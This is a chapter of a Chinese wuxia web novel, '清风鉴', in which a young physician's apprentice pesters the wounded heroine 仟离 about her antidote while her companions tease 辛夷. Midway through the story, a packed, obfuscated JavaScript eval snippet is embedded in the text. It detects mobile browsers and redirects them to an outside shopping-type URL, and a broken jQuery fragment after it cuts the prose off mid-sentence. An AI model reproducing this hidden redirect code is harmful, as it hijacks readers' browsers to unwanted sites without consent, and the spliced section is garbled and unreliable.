60. 愣头青
作品:《清风鉴》 “师父,您这药方用药可真是狠,不过效果也是立竿见影,这些孩子刚灌下去两副药,神色明显就好转了不少,您真是这个。”
一名青年男子冲着李乾竖起大拇指,眉目间掩盖不住的钦佩。
自从虞时燕带领一行人将落花堡内的孩子们一同带回窦家庄,窦庄主又惊又喜,在震惊之余连忙请李乾将自己在汾州城药坊的弟子唤了过来,几十个孩子便在窦家庄得了医治。
不过这些徒弟一开始本是束手无策的,结果到了一看,李大夫早已胸有成竹游刃有余地拿着准备好的药方对他们讲解起来,没想到此毒竟已被悄然化解。
两人此时刚从安置小孩子的厢房出来,正准备去药房配药。
李乾听到如此夸奖轻笑一声,叹道:“你师父我可没有这么大的本事,这是一位姑娘留下的药方,我不过是得益于人,不敢居功。”
青年闻言霎时瞪大眼睛,惊得差点把嗓子喊劈了:“师父可否引荐,徒儿也想见见这位神医。”
“她出去办事还未回来,不过,”李乾转头睨了青年一眼,笑道,“她不喜欢别人称她神医,你还是......”
“原来李大夫还记得啊?”
仟离和辛夷正巧走进来,她话说得轻快,如纸似的脸色倒是径直给李乾迎面一击。
李乾连见面招呼都来不及打,忙问:“姑娘受伤了?可要紧?”
仟离从容摆摆手:“没事,一会配点药灌下去就好。”她说得满不在意,仿佛受伤的不是她的身体,而是一个可有可无可断可碎的物件。
“这位是?”
仟离实在忍不住对面那位惊奇又热切的目光,只得率先询问。
青年早已偷偷瞥了仟离几眼,拱手道:“在下程樯,是李大夫的徒弟,此次是来窦家庄给师父帮忙的。”
城墙?
这名字听起来真厚重,适合当医家,让人听着就安全。
仟离颔首致意,又听李乾说:“我们正要去药房,姑娘便回去休息,老朽煎好药给姑娘送去。”
仟离轻轻一哂,再怎么说她现在也是好好站在院中,没缺胳膊没断腿,怎么还敢劳烦别人为自己服务呢,她摆手道:“不用不用,我同你们一起去便是。”
说完才意识到旁边还跟着辛夷呢,她转头看了他一眼,便听辛夷淡淡说:“我先去找石勒他们,你好好休息。”
程樯见仟离能跟他们一起去药房,兴奋得难以自抑,在李乾一声又一声的咳嗽中滔滔不绝地将自己对仟离那张药方做出了毫不掩饰的夸奖,继而在仟离无地自容的神色中又开始了与她在药理毒术上的又一轮探讨。
仟离本也不是藏私的人,有人愿意问她,碰巧她也知道,又是治病救人的行善事,自己实在没理由不说,便同程樯一来一往就这样旁若无人地聊起来。
仟离脸色一会红一会白,活像个善变的染缸。
这可苦了一旁的李乾,因担心仟离的身体,又怕程樯那个虎头虎脑的玩意不合时宜地冲撞人家,冲着程樯又是清咳又是挤眉弄眼,五官都快跑得四散纷飞,奈何自己徒弟在看人脸色这事上眼睛就跟不冒烟的烟囱似的,不光没啥用还瞎的让人火冒三丈。
仟离已经为自己配好药,又给李乾看了一眼,李乾刚为她把了脉,便接过配好的草药,将其中一种药材的药量若无其事地往出挑了点。
他口中尴尬地解释道:“姑娘身体有损伤,这种强劲的药用量还是少些好,不要总想着一蹴而就,姑娘虽年轻,但对自己的身体还是要多考虑些的。”
他一边说着,一边将自己满意的药材倒入空的药炉内加上水,放好火炭,这才转头冲仟离点点头。
像个关爱徒弟的老师父。
仟离对此也没发表什么意见,她总感觉好像看到了自己那个唠唠叨叨的师父,心里不禁腹诽:“难道医家人老了都会这么唠叨?”
“姑娘回去休息吧,等药好了叫人给姑娘送去。”
仟离身体早已疲倦不堪,也不再做推辞,便颔首道谢后转身走了出去。
直到仟离早已没了身影,程樯还在原地直愣愣盯着门口,李乾拿着小竹篦子冲他脑袋不轻不重地拍了一下。
“师父!怎么了?打我做什么?”程樯一手揉着头,满脸疑惑地问。
李乾怒气从四面八方瞬间涌了过来,斥道:“你长那俩玩意冒气的?不会看人眼色?人家身体受伤那么严重,你还在一旁问问问、问问问,就知道问,我怎么教出你这么缺半个脑子的玩意。”
程樯被师父这样骂完,竟兀自嘿嘿笑起来,“师父,我这也是好学不倦,为报答她为我答疑解惑,我为她熬药送药总可以吧。”
“你小子,好好看着。”李乾说完便低头去摆弄那些孩子接下来要喝的药材,不愿再搭理自己那个缺心眼徒弟。
辛夷此刻觉得自己正被好几个“缺心眼”盯着——石勒他们几人将他当做一件未曾见过的新奇物件,四面八方的眼神一同汇聚过来,不过辛堂主伪装能力很强,任他目光如刀,我自不动如山地在桌前慢悠悠地喝着茶。
“孩子怎么样了?”辛夷问。
“仟离怎么样了?”石勒问。
辛夷:“回去休息了。”
简单说完依旧兀自一口接一口喝着茶。
“哎——”钟伶饶有意味地长长叹了口气,左手搓磨着右手,说道,“原来辛堂主楼里楼外竟还有两个人格,我们若不是这次一同出来,还真是难以见到,也算是小刀拉屁股,开眼了。”
她微微停顿一下,又继续道,“还以为你铁石心肠,风雨难侵呢。”
钟伶这话说的跟直接扒开辛夷脑子看也没什么区别了,洛觞觑了钟伶一眼,有些奇怪。以前她对辛堂主说话都是话在嘴里滚三滚才敢往出蹦,不知道她今日哪来的胆子敢这么跟辛堂主说话。
钟伶说完这一连串足以引发狂风暴雨的一番话后,伸手拽着身旁戚幽莚的胳膊往她身后挪了一步,尽量将自己的身影从辛堂主凌厉眼神会扫射到的地方躲开,以免误伤。
钟伶说完,屋内一时间鸦雀无声,结果不过片刻,屋内一声接一声爆发出难以抑制的低笑。
石勒咧着嘴“啧”了一声,佯装愤然地说道:“哎,怎么和我们辛堂主说话呢?人家只是担心‘朋友’,一时间失了脑子,是吧?辛——堂——主——”
其实石勒几人都知道辛夷是个嘴硬心软的人,又是个很难叫人拿到“把柄”的人,如今好不容易有了可供调侃的乐趣事,自然要当着他的面玩上几句。
不过几人也只敢这样关起门来调侃几句,自然也没人敢去仟离面前说什么。
大家都知道在辛堂主面前可以说,但若是舞到别人面前,那辛堂主可真就要让他们见识一下银衣楼“煞神”的威力了。
辛夷觉得自己踏进这间屋子是他今日做过最大的错事,他缓缓放下杯子,眼神扫了他们一圈,淡淡道:“你们很闲吗?一天天的脑子里都装了些什么龌龊思想,等回去一律都进藏书楼好好读几本修身养性的书,除除脑中污秽。”
众人:“......”
这人脑子有病吧。
辛夷迎着众人目光,毫不客气地扫回去,一副“怎么着,看不惯过两招”的欠揍样。
几人眼神扫一圈,觉得此时若在银衣楼,一定造个反,将赤蛇堂堂主群殴成一条蔫蛇。
钟伶两手一摊:“任务完成了,不然还要做什么?我们又不是大夫,总不可能去配药煎药吧。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307389|198200||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
辛夷冷笑道:“既然你们很闲,那我去找窦庄主拿回银蝉单,我们立即启程回银衣楼。”
“辛堂主,”石勒坐在一旁揪了颗葡萄扔进嘴里,哀叹道,“这话你自己说出来信吗?你放心就这样走?别人......不管了?”
辛夷:“.........”
撬人面子这种事只有缺德人才干。
沈莳终于看不下去,替辛堂主找了个台阶下,笑道:“窦庄主这两日已经说了好几遍了,不让我们走,说定要办一场酒宴为这些孩子庆祝一下才行,虞姑娘他们也没走呢。”
几人又将此行所发生的一应事件从头到尾过了一下,虽然沈莳几人没有经历平远城谢府之事,不过后来听石勒说完,心里也清楚几分,再加上这一遭事,若是将事情往坏的那条线上想,愈想还真是愈叫人毛骨悚然。
辛夷倏地起身正要往外走,却被石勒突然喊住:“辛堂主,嘛去?”
辛夷:“睡觉。”
仟离回到自己屋子脱下外袍后便一头倒在床上,刚沾上枕头脑袋便同灌满浆糊般沉沉睡了过去。
这一觉倒是没做梦,睡得堪称跟刚出锅的桂花糖糕一样又香又甜,结果糖糕刚拿到手里还没吃进嘴,就被一阵轻轻叩门声敲醒了。
沉睡时间如流水般潺潺而过,仟离倒在床上时还是日照中天,睁开眼已经是晚霞堆满天了,屋内也暗下好几分。
她敲了敲头一骨碌坐起来,胸口牵动着抽了口气,不由漫过一阵疼痛,睡了一觉精神好了许多,眼中也亮起来,唯独面色看着还是没什么红晕,尤其在黯淡的房间内,看着并没什么好转。
她连忙向外应了一声,缓缓下床穿衣,都说病去如抽丝,她这场伤痛也不知道什么时候能好。
医家行医治病时总是安慰病人,什么“治病不能着急,病要慢慢养”,什么“伤筋动骨一百天”、什么“药石之力,需辅以心安,不可急躁”云云。
仟离听这些话听得耳朵都磨出茧子,想到如今自己“身负重任”,越听越觉得以前从自己口中说出的安慰之语真是没什么用的屁话。
懂的人不说也会懂,可每人身上都不免或多或少背负着这一件那一件的枷锁烦事,你不动,事却逼得你不得不动。
果然只有亲身走一走别人的荆棘路,才能有“感同身受”那一说。
仟离快速收整利索,打开门,却见程樯端着一碗冒着温热气的药正候在门口,她这一觉睡得竟将要吃药这件事忘到九重天外了。
程樯点了点头,笑道:“头两次来送药,姑娘没应声,便知你在睡着。不过师父说这药还是尽快喝了较好,哪怕你喝完再睡呢,也好发着药效。”
仟离含着歉意接过药:“真是劳烦了。”
她见程樯送完药却还站在那不动,分明没有要走的架势,便秉持着礼貌问道,“程大夫还有事?”
程樯不好意思地笑了一声,头微微垂下盯着已经看不出纹路的台阶,轻声道:“不敢打扰姑娘,就是......心里还有几个疑问想和姑娘探讨探讨。”
程樯央求了李乾好几次,被李乾指着脑袋千叮咛万嘱咐了好几遍后,保证自己不瞎问不打扰,好不容易将送药这个事拿到手,结果走到仟离房门前心下一横,还是将李乾的耳提面命一股脑压了下去。
毕竟眼前可是个堪称“毒医”般的人物,过了这个村就没这个店了,他心里那种无可阻挡的求知欲实在很难控制,但他毕竟身为大夫,心里也明白仟离身负重伤自然是好好休养比较重要,所以自己内心莫名的纠结就一直在此地不进不退的打着鼓。
仟离自然也清楚,便向后退了一步,请程樯进来坐下。
程樯颔首再三谢过,便微垂着头入屋老老实实坐在桌边。

